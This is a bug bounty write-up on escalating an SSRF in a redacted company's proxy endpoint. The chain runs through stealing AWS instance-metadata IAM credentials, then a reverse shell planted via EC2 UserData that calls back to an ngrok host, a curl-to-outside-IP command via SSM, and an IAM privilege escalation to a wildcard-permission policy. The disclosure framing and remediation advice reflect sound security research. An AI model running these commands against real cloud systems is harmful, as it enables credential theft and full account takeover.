Bug Bounty Story: Escalating SSRF to RCE on AWS

— Written by — 7 min read

Hey everyone, not a CTF write-up today but my first Bug Bounty Bounty story: SSRF escalation to RCE on AWS.

The vulnerability was initially reported on the 20th of July 2021, rewarded as a valid finding on the 22th of July, and patched by the 1st of August. The communication with the company was really good, a patch was rolled out quickly and after a few bypass fixes, it got completely resolved and bounty got granted.

Discovery was made on a private bug bounty program so the company name has been redacted.

In this post I will get into details on how the vulnerability was discovered in order to show the research process. Hopefully this will come useful if you are new to the bug bounty world.

Recon

While doing the usual recon phase (the same done for CTF basically) on the company subdomains, an interesting proxify endpoint pops up. We can guess it’s used to proxy something.

gobuster proxify endpoint

The endpoint is publicly accessible when setting up the referrer used to navigate the application. When calling the endpoint directly we got informed it require an URL to be provided:

1
2
3
4
5
6
7
8
9
10
11
> curl --referer <redacted> https://<redacted>/proxify/ -i
HTTP/2 400
date: Tue, 20 Jul 2021 10:26:20 GMT
content-type: text/html; charset=utf-8
content-length: 13
cache-control: no-cache
vary: Accept-Encoding
vary: accept-encoding

Need to provide url%

Let’s try to add an url as GET parameter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> curl --referer <redacted> "https://<redacted>/proxify/?url=https://example.com" -i
HTTP/2 200
date: Sun, 20 Jul 2021 10:26:58 GMT
server: ECS (dcb/7F3B)
vary: Accept-Encoding
vary: Accept-Encoding,accept-encoding
via: <redacted>
x-cache: HIT

<!doctype html>
<html>
<head>
<title>Example Domain</title>
(...)

Having a service making HTTP requests for a user’s chosen URL is risky and if not properly handled can lead to a Server Side Request Forgery vulnerability.

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.
In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization’s infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials.
https://portswigger.net/web-security/ssrf

It’s possible to verify that the service is vulnerable to SSRF by inputting an URL we have control over. To do so we can use interact.sh, an open source out of band interaction gathering server (a free alternative to Burp Collaborator).

First we open our listener:

1
2
3
4
5
6
7
8
9
10
11
> interactsh-client
_ __ __ __
(_)___ / /____ _________ ______/ /______/ /_
/ / __ \/ __/ _ \/ ___/ __ '/ ___/ __/ ___/ __ \
/ / / / / /_/ __/ / / /_/ / /__/ /_(__ ) / / /
/_/_/ /_/\__/\___/_/ \__,_/\___/\__/____/_/ /_/ v0.0.3

projectdiscovery.io

[INF] Listing 1 payload for OOB Testing
[INF] abcdefghijklmnopkrstuvwxyz.interact.sh

Then we use the generated URL on the proxify/ endpoint:

1
2
3
4
5
6
7
8
> curl --referer <redacted> "https://<redacted>/proxify/?url=https://abcdefghijklmnopkrstuvwxyz.interact.sh" -i
HTTP/2 200
date: Sun, 20 Jul 2021 10:27:52 GMT
Server: interact.sh
Content-Length: 72
via: <redacted>

<html><head></head><body>abcdefghijklmnopkrstuvwxyz</body></html>

Once the request done, intereact.sh immediately received an HTTP request coming from the application server, confirming the SSRF vulnerability:

interact.sh output SSRF

SSRF To AWS Credentials Disclosure

With our bug bounty hunter eyes (or with Google) we can recognize that the caller IP shown by interact.sh belongs to AWS. Knowing this we can try to connect AWS Private IP to disclose metadata.

AWS EC2 Instances have access to a metadata service at 169.254.169.254. This service returns a lot of information about the instance such as its IP address, the application tokens, the security group name, etc. Depending on the configuration we can also find IAM credentials to authenticate as this role. If IMDS version 1 is used, SSRF can be used to steal those information and credentials.

Let’s first try to retrieve security credentials (https://169.254.169.254/latest/meta-data/iam/security-credentials/).

Unfortunately we get hit by the following error:

URL parameter can not be a private URL

But, after a few trial and error, we found that dropping the http scheme allows to bypass the restriction:

1
2
3
4
5
6
7
8
> curl --referer <redacted> "https://<redacted>/proxify/?url=169.254.169.254/latest/meta-data/iam/security-credentials/" -i
HTTP/2 200
date: Tue, 20 Jul 2021 10:34:00 GMT
content-length: 20
server: EC2ws
via: <redacted>

ec2-default-ssm

Once we have retrieved the role name we can retrieve all credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
> curl --referer <redacted> "https://<redacted>/proxify/?url=169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm" -i
HTTP/2 200
date: Tue, 20 Jul 2021 10:36:50 GMT
content-length: 1337
server: EC2ws
via: <redacted>

{
"Code" : "Success",
"LastUpdated" : "2021-07-20T09:03:23Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "<redacted>",
"SecretAccessKey" : "<redacted>",
"Token" : "<redacted>",
"Expiration" : "2021-07-20T16:10:48Z"
}%

Bingo. These credentials can then be used with AWS CLI to make API calls as the IAM role.

Let’s import the profile with AWS CLI to continue our enumeration and see if we can escalate our privileges:

1
2
3
4
5
> aws configure --profile bugbounty
AWS Access Key ID [None]: <redacted>
AWS Secret Access Key [None]: <redacted>
Default region name [None]: eu-west-1
Default output format [None]: json

This allows us to retrieve the account ID:

1
2
3
4
5
6
> aws sts get-caller-identity
{
"UserId": "<redacted>",
"Account": "<redacted>",
"Arn": "<redacted>"
}

Remote Code Execution

via send-command

From here the best case scenario for us would be to achieve remote code execution on the EC2 instance.

The easiest way is by listing instances for which security credential is accepted for executing commands.

1
2
> aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"
<redacted>

Unfortunately the role is not authorized to perform send-command. Otherwise we could have used the following command to gain RCE:

1
2
> aws ssm send-command --document-name "AWS-RunShellScript" --comment "RCE" --targets "Key=instanceids,Values=[instanceid]" --parameters 'commands=curl 213.62.1.1:8000/`whoami`'
An error occurred (AccessDeniedException) when calling the SendCommand operation: User: <redacted> is not authorized to perform: ssm:SendCommand on resource: <redacted>

via UserData

This second method will trigger alarms and service downtime but can still achieve remote code execution in some scenarios.

In order to not disrupt services this method got shared with the team first and after discussions we got a test instance on which we could validate the PoC safely.

When configuring an EC2 instance you can specify commands which will be automatically executed after booting a machine (via UserData).

UserData are base64 encoded and can be retrieved through the user-data endpoint:

1
> curl http://169.254.169.254/latest/user-data 

Our goal here is to modify the UserData to include our command and restart the EC2 instance to get it executed upon boot. Of course this will trigger alarms and short downtime because the instance needs to be restarted.

Here is how to proceed:

  1. Stop the chosen instance
1
> aws ec2 stop-instances –instance-ids i-xxxxxxxxxxxxxxx
  1. Add a reverse shell script at the end of the existing instance’s Userdata (if any)
1
2
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.ngrok.io/15547 0>&1
  1. Then update the UserData of the instance with the newly created script:
1
2
3
4
5
> base64 user_data.sh > user_data64.sh
> aws ec2 modify-instance-attribute \\
--instance-id=i-xxxxxxxxxxxxxxx \\
--attribute userData --value file://user_data64.sh

  1. Start a local listener to catch the reverse shell
1
2
> nc -lvp 15547
Listening on 0.0.0.0 15547
  1. Launch the instance with the newly added UserData:
1
2
> aws ec2 start-instances –instance-ids i-xxxxxxxxxxxxxxx

And bingo! We get a shell on the instance.

1
2
3
> nc -lvp 15547
Listening on 0.0.0.0 15547
[root@xxx-xx-xx-xxx html]#

Note: All those step can be contained in one command using Pacu:

1
2
Pacu > run ec2__startup_shell_script --script user_data.sh --instance-ids i-xxxxxxxxxxxxxxx@eu-west-1

Escalating privileges

Unfortunately we quickly notice that we barely have any permission on the instance. Bummer.

Fortunately we took note earlier that our current user have the permission to create policies version:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
> aws iam get-policy-version --policy-arn arn:aws:iam::xxxxxxxxxxxxxxx:policy/MyPolicy --version-id v2
{
"PolicyVersion": {
"CreateDate": "2015-06-17T19:23;32Z",
"VersionId": "v2",
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "iam:CreatePolicyVersion",
"Resource": "*",
"Effect": "Allow"
}
]
}
"IsDefaultVersion": "false"
}
}

Let’s create a new policy with every permissions and set it as default:

1
2
3
4
5
6
7
8
9
10
11
12
[root@xxx-xx-xx-xxx html]# aws iam create-policy \
--set-as-default --policy-document \
'{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}'

And we are done! The new ec2_role is now allowed to perform any arbitrary action. Full control over the instance.

Remediation recommendation

See OWASP SSRF Prevention guide.

To resume:

  • Properly sanitize every user’s input.
  • Do not allow private IPs to be called from the proxy and use AWS EC2 Instance Metadata Service Version 2 (IMDSv2) since it blocks most of SSRF attacks.
  • Use the lowest privilege system user.

References

Timeline

July 20, 2021 — Reported
July 22, 2021 — Status: Accepted
July 23, 2021 — Status: Fixed, patch deployed.
July 24, 2021 — Contacted the team since the SSRF vulnerability was still present through IP based whitelist bypass and open redirect bypass.
July 24, 2021 — Status: Accepted (reopened).
August 1, 2021 — Status: Fixed, patch deployed.
August 1, 2021 — Rewarded.


That’s it folks! I hope you liked this new format. As always do not hesitate to contact me for any questions or feedback!

See you next time ;)

-hg8



Bug Bounty
, , , ,